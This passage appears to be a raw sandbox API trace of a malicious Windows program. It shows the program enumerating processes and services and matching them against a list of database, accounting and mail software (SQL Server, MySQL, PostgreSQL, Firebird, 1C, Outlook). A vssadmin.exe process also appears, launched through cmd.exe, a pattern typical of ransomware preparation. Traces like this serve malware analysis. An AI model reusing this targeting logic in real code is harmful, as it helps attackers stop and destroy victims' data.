[0197.382] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0197.382] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0197.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0197.382] lstrlenW (lpString="WPDBusEnum") returned 10 [0197.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0197.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0197.382] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0197.383] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0197.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0197.383] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6b5c80 | out: hHeap=0x5c0000) returned 1 [0197.383] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x220 [0197.385] Process32FirstW (in: hSnapshot=0x220, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0197.385] Process32NextW (in: hSnapshot=0x220, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0197.386] lstrlenW (lpString="System") returned 6 [0197.386] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0197.386] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0197.386] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0197.386] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0197.386] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0197.386] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0197.386] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0197.386] Process32NextW (in: hSnapshot=0x220, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0197.386] lstrlenW (lpString="smss.exe") returned 8 [0197.387] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0197.387] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0197.387] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0197.387] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0197.387] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0197.387] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0197.387] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0197.387] Process32NextW (in: hSnapshot=0x220, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0197.387] lstrlenW (lpString="csrss.exe") returned 9 [0197.387] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0197.387] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0197.387] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0197.387] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0197.387] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0197.387] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0197.387] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0197.387] Process32NextW (in: hSnapshot=0x220, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0197.388] lstrlenW (lpString="wininit.exe") returned 11 [0197.388] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0197.388] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0197.388] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0197.388] Process32NextW (in: hSnapshot=0x220, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0197.389] lstrlenW (lpString="csrss.exe") returned 9 [0197.389] Process32NextW (in: hSnapshot=0x220, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0197.389] lstrlenW (lpString="winlogon.exe") returned 12 [0197.389] Process32NextW (in: hSnapshot=0x220, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0197.390] lstrlenW (lpString="services.exe") returned 12 [0197.390] Process32NextW (in: hSnapshot=0x220, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0197.390] lstrlenW (lpString="lsass.exe") returned 9 [0197.390] Process32NextW (in: hSnapshot=0x220, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0197.391] lstrlenW (lpString="lsm.exe") returned 7 [0197.391] Process32NextW (in: hSnapshot=0x220, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.391] lstrlenW (lpString="svchost.exe") returned 11 [0197.391] Process32NextW (in: hSnapshot=0x220, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.392] lstrlenW (lpString="svchost.exe") returned 11 [0197.392] Process32NextW (in: hSnapshot=0x220, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.392] lstrlenW (lpString="svchost.exe") returned 11 [0197.392] Process32NextW (in: hSnapshot=0x220, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.392] lstrlenW (lpString="svchost.exe") returned 11 [0197.392] Process32NextW (in: hSnapshot=0x220, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.393] lstrlenW (lpString="svchost.exe") returned 11 [0197.393] Process32NextW (in: hSnapshot=0x220, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0197.393] lstrlenW (lpString="audiodg.exe") returned 11 [0197.393] Process32NextW (in: hSnapshot=0x220, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.394] lstrlenW (lpString="svchost.exe") returned 11 [0197.394] Process32NextW (in: hSnapshot=0x220, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0197.394] lstrlenW (lpString="explorer.exe") returned 12 [0197.394] Process32NextW (in: hSnapshot=0x220, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0197.394] lstrlenW (lpString="dwm.exe") returned 7 [0197.394] Process32NextW (in: hSnapshot=0x220, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.395] lstrlenW (lpString="svchost.exe") returned 11 [0197.395] Process32NextW (in: hSnapshot=0x220, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0197.395] lstrlenW (lpString="n.exe") returned 5 [0197.395] Process32NextW (in: hSnapshot=0x220, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0197.396] lstrlenW (lpString="spoolsv.exe") returned 11 [0197.396] Process32NextW (in: hSnapshot=0x220, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.396] lstrlenW (lpString="svchost.exe") returned 11 [0197.396] Process32NextW (in: hSnapshot=0x220, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0197.396] lstrlenW (lpString="taskhost.exe") returned 12 [0197.397] Process32NextW (in: hSnapshot=0x220, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0197.397] lstrlenW (lpString="reader_sl.exe") returned 13 [0197.397] Process32NextW (in: hSnapshot=0x220, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x7dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0197.397] lstrlenW (lpString="n.exe") returned 5 [0197.397] Process32NextW (in: hSnapshot=0x220, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0197.398] lstrlenW (lpString="cmd.exe") returned 7 [0197.398] Process32NextW (in: hSnapshot=0x220, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0197.398] lstrlenW (lpString="conhost.exe") returned 11 [0197.398] Process32NextW (in: hSnapshot=0x220, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0197.398] lstrlenW (lpString="vssadmin.exe") returned 12 [0197.399] Process32NextW (in: hSnapshot=0x220, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0197.399] lstrlenW (lpString="VSSVC.exe") returned 9 [0197.399] Process32NextW (in: hSnapshot=0x220, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.399] lstrlenW (lpString="svchost.exe") returned 11 [0197.399] Process32NextW (in: hSnapshot=0x220, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0197.400] CloseHandle (hObject=0x220) returned 1 [0197.400] Sleep (dwMilliseconds=0x1f4) [0198.281] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x633dc8 [0198.282] EnumServicesStatusExW (in: hSCManager=0x633dc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 0 [0198.282] GetLastError () returned 0xea [0198.282] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x12c6) returned 0x6b5c80 [0198.282] EnumServicesStatusExW (in: hSCManager=0x633dc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6b5c80, cbBufSize=0x12c6, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6b5c80, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 1 [0198.283] CloseServiceHandle (hSCObject=0x633dc8) returned 1 [0198.283] lstrlenW (lpString="Appinfo") returned 7 [0198.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0198.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0198.283] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0198.283] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0198.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0198.283] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0198.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0198.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0198.283] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0198.283] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0198.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0198.283] lstrlenW (lpString="AudioSrv") returned 8 [0198.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0198.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0198.283] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0198.284] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0198.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0198.284] lstrlenW (lpString="BFE") returned 3 [0198.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0198.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0198.284] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0198.284] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0198.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0198.284] lstrlenW (lpString="CryptSvc") returned 8 [0198.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0198.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0198.284] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0198.284] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0198.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0198.284] lstrlenW (lpString="CscService") returned 10 [0198.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0198.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0198.284] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0198.284] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0198.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0198.284] lstrlenW (lpString="DcomLaunch") returned 10 [0198.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0198.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0198.284] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0198.284] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0198.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0198.284] lstrlenW (lpString="Dhcp") returned 4 [0198.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0198.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0198.284] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0198.285] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0198.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0198.285] lstrlenW (lpString="Dnscache") returned 8 [0198.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0198.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0198.285] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0198.285] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0198.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0198.285] lstrlenW (lpString="DPS") returned 3 [0198.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0198.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0198.285] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0198.285] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0198.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0198.285] lstrlenW (lpString="eventlog") returned 8 [0198.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0198.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0198.285] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0198.285] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0198.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0198.285] lstrlenW (lpString="EventSystem") returned 11 [0198.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0198.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0198.285] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0198.285] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0198.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0198.285] lstrlenW (lpString="gpsvc") returned 5 [0198.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0198.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0198.285] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0198.285] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0198.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0198.286] lstrlenW (lpString="iphlpsvc") returned 8 [0198.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0198.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0198.286] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0198.286] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0198.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0198.286] lstrlenW (lpString="LanmanServer") returned 12 [0198.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0198.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0198.286] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0198.286] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0198.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0198.286] lstrlenW (lpString="LanmanWorkstation") returned 17 [0198.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0198.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0198.286] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0198.286] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0198.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0198.286] lstrlenW (lpString="lmhosts") returned 7 [0198.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0198.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0198.286] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0198.286] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0198.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0198.286] lstrlenW (lpString="MMCSS") returned 5 [0198.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0198.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0198.286] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0198.287] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0198.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0198.287] lstrlenW (lpString="MpsSvc") returned 6 [0198.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0198.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0198.287] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0198.287] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0198.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0198.287] lstrlenW (lpString="Netman") returned 6 [0198.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0198.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0198.287] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0198.287] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0198.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0198.287] lstrlenW (lpString="netprofm") returned 8 [0198.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0198.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0198.287] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0198.287] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0198.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0198.287] lstrlenW (lpString="NlaSvc") returned 6 [0198.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0198.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0198.287] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0198.287] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0198.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0198.287] lstrlenW (lpString="nsi") returned 3 [0198.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0198.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0198.288] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0198.288] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0198.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0198.288] lstrlenW (lpString="PcaSvc") returned 6 [0198.288] lstrcmpiW 